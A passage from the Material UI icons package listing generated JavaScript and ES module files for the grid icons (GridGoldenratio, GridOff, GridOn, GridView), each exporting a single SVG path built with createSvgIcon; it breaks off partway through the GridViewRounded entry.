    "path": "packages/mui-icons-material/lib/GridGoldenratio.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V9h-7V2h-2v7h-2V2H9v7H2v2h7v2H2v2h7v7h2v-7h2v7h2v-7h7v-2h-7v-2zm-9 2h-2v-2h2z\"\n}), 'GridGoldenratio');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridGoldenratioOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V9h-7V2h-2v7h-2V2H9v7H2v2h7v2H2v2h7v7h2v-7h2v7h2v-7h7v-2h-7v-2zm-9 2h-2v-2h2z\"\n}), 'GridGoldenratioOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridGoldenratioOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V9h-7V2h-2v7h-2V2H9v7H2v2h7v2H2v2h7v7h2v-7h2v7h2v-7h7v-2h-7v-2zm-9 2h-2v-2h2z\"\n}), 'GridGoldenratioOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridGoldenratioRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 13h-6v-2h6c.55 0 1-.45 1-1s-.45-1-1-1h-6V3c0-.55-.45-1-1-1s-1 .45-1 1v6h-2V3c0-.55-.45-1-1-1s-1 .45-1 1v6H3c-.55 0-1 .45-1 1s.45 1 1 1h6v2H3c-.55 0-1 .45-1 1s.45 1 1 1h6v6c0 .55.45 1 1 1s1-.45 1-1v-6h2v6c0 .55.45 1 1 1s1-.45 1-1v-6h6c.55 0 1-.45 1-1s-.45-1-1-1m-8 0h-2v-2h2z\"\n}), 'GridGoldenratioRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridGoldenratioRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 13h-6v-2h6c.55 0 1-.45 1-1s-.45-1-1-1h-6V3c0-.55-.45-1-1-1s-1 .45-1 1v6h-2V3c0-.55-.45-1-1-1s-1 .45-1 1v6H3c-.55 0-1 .45-1 1s.45 1 1 1h6v2H3c-.55 0-1 .45-1 1s.45 1 1 1h6v6c0 .55.45 1 1 1s1-.45 1-1v-6h2v6c0 .55.45 1 1 1s1-.45 1-1v-6h6c.55 0 1-.45 1-1s-.45-1-1-1m-8 0h-2v-2h2z\"\n}), 'GridGoldenratioRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridGoldenratioSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V9h-7V2h-2v7h-2V2H9v7H2v2h7v2H2v2h7v7h2v-7h2v7h2v-7h7v-2h-7v-2zm-9 2h-2v-2h2z\"\n}), 'GridGoldenratioSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridGoldenratioSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V9h-7V2h-2v7h-2V2H9v7H2v2h7v2H2v2h7v7h2v-7h2v7h2v-7h7v-2h-7v-2zm-9 2h-2v-2h2z\"\n}), 'GridGoldenratioSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridGoldenratioTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V9h-7V2h-2v7h-2V2H9v7H2v2h7v2H2v2h7v7h2v-7h2v7h2v-7h7v-2h-7v-2zm-9 2h-2v-2h2z\"\n}), 'GridGoldenratioTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridGoldenratioTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V9h-7V2h-2v7h-2V2H9v7H2v2h7v2H2v2h7v7h2v-7h2v7h2v-7h7v-2h-7v-2zm-9 2h-2v-2h2z\"\n}), 'GridGoldenratioTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4v1.45l2 2V4h4v4h-3.45l2 2H14v1.45l2 2V10h4v4h-3.45l2 2H20v1.45l2 2V4c0-1.1-.9-2-2-2H4.55l2 2zm8 0h4v4h-4zM1.27 1.27 0 2.55l2 2V20c0 1.1.9 2 2 2h15.46l2 2 1.27-1.27zM10 12.55 11.45 14H10zm-6-6L5.45 8H4zM8 20H4v-4h4zm0-6H4v-4h3.45l.55.55zm6 6h-4v-4h3.45l.55.54zm2 0v-1.46L17.46 20z\"\n}), 'GridOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4v1.45l2 2V4h4v4h-3.45l2 2H14v1.45l2 2V10h4v4h-3.45l2 2H20v1.45l2 2V4c0-1.1-.9-2-2-2H4.55l2 2zm8 0h4v4h-4zM1.27 1.27 0 2.55l2 2V20c0 1.1.9 2 2 2h15.46l2 2 1.27-1.27zM10 12.55 11.45 14H10zm-6-6L5.45 8H4zM8 20H4v-4h4zm0-6H4v-4h3.45l.55.55zm6 6h-4v-4h3.45l.55.54zm2 0v-1.46L17.46 20z\"\n}), 'GridOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4v.89l2 2V4h4v4h-2.89l2 2H14v.89l2 2V10h4v4h-2.89l2 2H20v.89l2 2V4c0-1.1-.9-2-2-2H5.11l2 2zm8 0h4v4h-4zM1.41 1.14 0 2.55l2 2V20c0 1.1.9 2 2 2h15.45l2.01 2.01 1.41-1.41zM10 12.55 11.45 14H10zm-6-6L5.45 8H4zM8 20H4v-4h4zm0-6H4v-4h3.45l.55.55zm6 6h-4v-4h3.45l.55.55zm2 0v-1.45L17.45 20z\"\n}), 'GridOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4v.89l2 2V4h4v4h-2.89l2 2H14v.89l2 2V10h4v4h-2.89l2 2H20v.89l2 2V4c0-1.1-.9-2-2-2H5.11l2 2zm8 0h4v4h-4zM1.41 1.14 0 2.55l2 2V20c0 1.1.9 2 2 2h15.45l2.01 2.01 1.41-1.41zM10 12.55 11.45 14H10zm-6-6L5.45 8H4zM8 20H4v-4h4zm0-6H4v-4h3.45l.55.55zm6 6h-4v-4h3.45l.55.55zm2 0v-1.45L17.45 20z\"\n}), 'GridOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4v.89l2 2V4h4v4h-2.89l2 2H14v.89l2 2V10h4v4h-2.89l2 2H20v.89l2 2V4c0-1.1-.9-2-2-2H5.11l2 2zm8 0h3c.55 0 1 .45 1 1v3h-4zm6.16 17.88L2.12 1.84a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L2 4.55V20c0 1.1.9 2 2 2h15.45l1.3 1.3c.39.39 1.02.39 1.41 0s.39-1.03 0-1.42M10 12.55 11.45 14H10zm-6-6L5.45 8H4zM8 20H5c-.55 0-1-.45-1-1v-3h4zm0-6H4v-4h3.45l.55.55zm6 6h-4v-4h3.45l.55.55zm2 0v-1.45L17.45 20z\"\n}), 'GridOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4v.89l2 2V4h4v4h-2.89l2 2H14v.89l2 2V10h4v4h-2.89l2 2H20v.89l2 2V4c0-1.1-.9-2-2-2H5.11l2 2zm8 0h3c.55 0 1 .45 1 1v3h-4zm6.16 17.88L2.12 1.84a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L2 4.55V20c0 1.1.9 2 2 2h15.45l1.3 1.3c.39.39 1.02.39 1.41 0s.39-1.03 0-1.42M10 12.55 11.45 14H10zm-6-6L5.45 8H4zM8 20H5c-.55 0-1-.45-1-1v-3h4zm0-6H4v-4h3.45l.55.55zm6 6h-4v-4h3.45l.55.55zm2 0v-1.45L17.45 20z\"\n}), 'GridOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4v.89l2 2V4h4v4h-2.89l2 2H14v.89l2 2V10h4v4h-2.89l2 2H20v.89l2 2V2H5.11l2 2zm8 0h4v4h-4zM1.41 1.14 0 2.55l2 2V22h17.45l2.01 2.01 1.41-1.41zM10 12.55 11.45 14H10zm-6-6L5.45 8H4zM8 20H4v-4h4zm0-6H4v-4h3.45l.55.55zm6 6h-4v-4h3.45l.55.55zm2 0v-1.45L17.45 20z\"\n}), 'GridOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4v.89l2 2V4h4v4h-2.89l2 2H14v.89l2 2V10h4v4h-2.89l2 2H20v.89l2 2V2H5.11l2 2zm8 0h4v4h-4zM1.41 1.14 0 2.55l2 2V22h17.45l2.01 2.01 1.41-1.41zM10 12.55 11.45 14H10zm-6-6L5.45 8H4zM8 20H4v-4h4zm0-6H4v-4h3.45l.55.55zm6 6h-4v-4h3.45l.55.55zm2 0v-1.45L17.45 20z\"\n}), 'GridOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 14v-4h-4v2.89L17.11 14zm-10-1.45V14h1.45zM14 10h-.89l.89.89zm5.11 6 .89.89V16zM8 4h-.89l.89.89zm6 4V4h-4v2.89L11.11 8zm2-4h4v4h-4zm-6 12v4h4v-3.45l-.55-.55zm-6-6v4h4v-3.45L7.45 10zm12 10h1.45L16 18.55zM4 16h4v4H4zm0-9.45V8h1.45z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4v.89l2 2V4h4v4h-2.89l2 2H14v.89l2 2V10h4v4h-2.89l2 2H20v.89l2 2V4c0-1.1-.9-2-2-2H5.11l2 2zm8 0h4v4h-4zM1.41 1.14 0 2.55l2 2V20c0 1.1.9 2 2 2h15.45l2.01 2.01 1.41-1.41zM10 12.55 11.45 14H10zm-6-6L5.45 8H4zM8 20H4v-4h4zm0-6H4v-4h3.45l.55.55zm6 6h-4v-4h3.45l.55.55zm2 0v-1.45L17.45 20z\"\n}, \"1\")], 'GridOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 14v-4h-4v2.89L17.11 14zm-10-1.45V14h1.45zM14 10h-.89l.89.89zm5.11 6 .89.89V16zM8 4h-.89l.89.89zm6 4V4h-4v2.89L11.11 8zm2-4h4v4h-4zm-6 12v4h4v-3.45l-.55-.55zm-6-6v4h4v-3.45L7.45 10zm12 10h1.45L16 18.55zM4 16h4v4H4zm0-9.45V8h1.45z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4v.89l2 2V4h4v4h-2.89l2 2H14v.89l2 2V10h4v4h-2.89l2 2H20v.89l2 2V4c0-1.1-.9-2-2-2H5.11l2 2zm8 0h4v4h-4zM1.41 1.14 0 2.55l2 2V20c0 1.1.9 2 2 2h15.45l2.01 2.01 1.41-1.41zM10 12.55 11.45 14H10zm-6-6L5.45 8H4zM8 20H4v-4h4zm0-6H4v-4h3.45l.55.55zm6 6h-4v-4h3.45l.55.55zm2 0v-1.45L17.45 20z\"\n}, \"1\")], 'GridOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 20H4v-4h4zm0-6H4v-4h4zm0-6H4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4z\"\n}), 'GridOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 20H4v-4h4zm0-6H4v-4h4zm0-6H4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4z\"\n}), 'GridOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 20H4v-4h4zm0-6H4v-4h4zm0-6H4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4z\"\n}), 'GridOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 20H4v-4h4zm0-6H4v-4h4zm0-6H4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4z\"\n}), 'GridOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 20H5c-.55 0-1-.45-1-1v-3h4zm0-6H4v-4h4zm0-6H4V5c0-.55.45-1 1-1h3zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4zm5 12h-3v-4h4v3c0 .55-.45 1-1 1m1-6h-4v-4h4zm0-6h-4V4h3c.55 0 1 .45 1 1z\"\n}), 'GridOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 20H5c-.55 0-1-.45-1-1v-3h4zm0-6H4v-4h4zm0-6H4V5c0-.55.45-1 1-1h3zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4zm5 12h-3v-4h4v3c0 .55-.45 1-1 1m1-6h-4v-4h4zm0-6h-4V4h3c.55 0 1 .45 1 1z\"\n}), 'GridOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20h20zM8 20H4v-4h4zm0-6H4v-4h4zm0-6H4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4z\"\n}), 'GridOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20h20zM8 20H4v-4h4zm0-6H4v-4h4zm0-6H4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4z\"\n}), 'GridOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10h4v4h-4zm0 6h4v4h-4zM4 4h4v4H4zm0 6h4v4H4zm0 6h4v4H4zM16 4h4v4h-4zm0 6h4v4h-4zm0 6h4v4h-4zM10 4h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 20H4v-4h4zm0-6H4v-4h4zm0-6H4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4z\"\n}, \"1\")], 'GridOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10h4v4h-4zm0 6h4v4h-4zM4 4h4v4H4zm0 6h4v4H4zm0 6h4v4H4zM16 4h4v4h-4zm0 6h4v4h-4zm0 6h4v4h-4zM10 4h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 20H4v-4h4zm0-6H4v-4h4zm0-6H4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4zm6 12h-4v-4h4zm0-6h-4v-4h4zm0-6h-4V4h4z\"\n}, \"1\")], 'GridOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridView.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M3 3v8h8V3zm6 6H5V5h4zm-6 4v8h8v-8zm6 6H5v-4h4zm4-16v8h8V3zm6 6h-4V5h4zm-6 4v8h8v-8zm6 6h-4v-4h4z\"\n}), 'GridView');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridView.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M3 3v8h8V3zm6 6H5V5h4zm-6 4v8h8v-8zm6 6H5v-4h4zm4-16v8h8V3zm6 6h-4V5h4zm-6 4v8h8v-8zm6 6h-4v-4h4z\"\n}), 'GridView');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridViewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v8h8V3zm6 6H5V5h4zm-6 4v8h8v-8zm6 6H5v-4h4zm4-16v8h8V3zm6 6h-4V5h4zm-6 4v8h8v-8zm6 6h-4v-4h4z\"\n}), 'GridViewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridViewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v8h8V3zm6 6H5V5h4zm-6 4v8h8v-8zm6 6H5v-4h4zm4-16v8h8V3zm6 6h-4V5h4zm-6 4v8h8v-8zm6 6h-4v-4h4z\"\n}), 'GridViewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridViewRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2m0 10h4c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2m8-16v4c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2m2 16h4c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 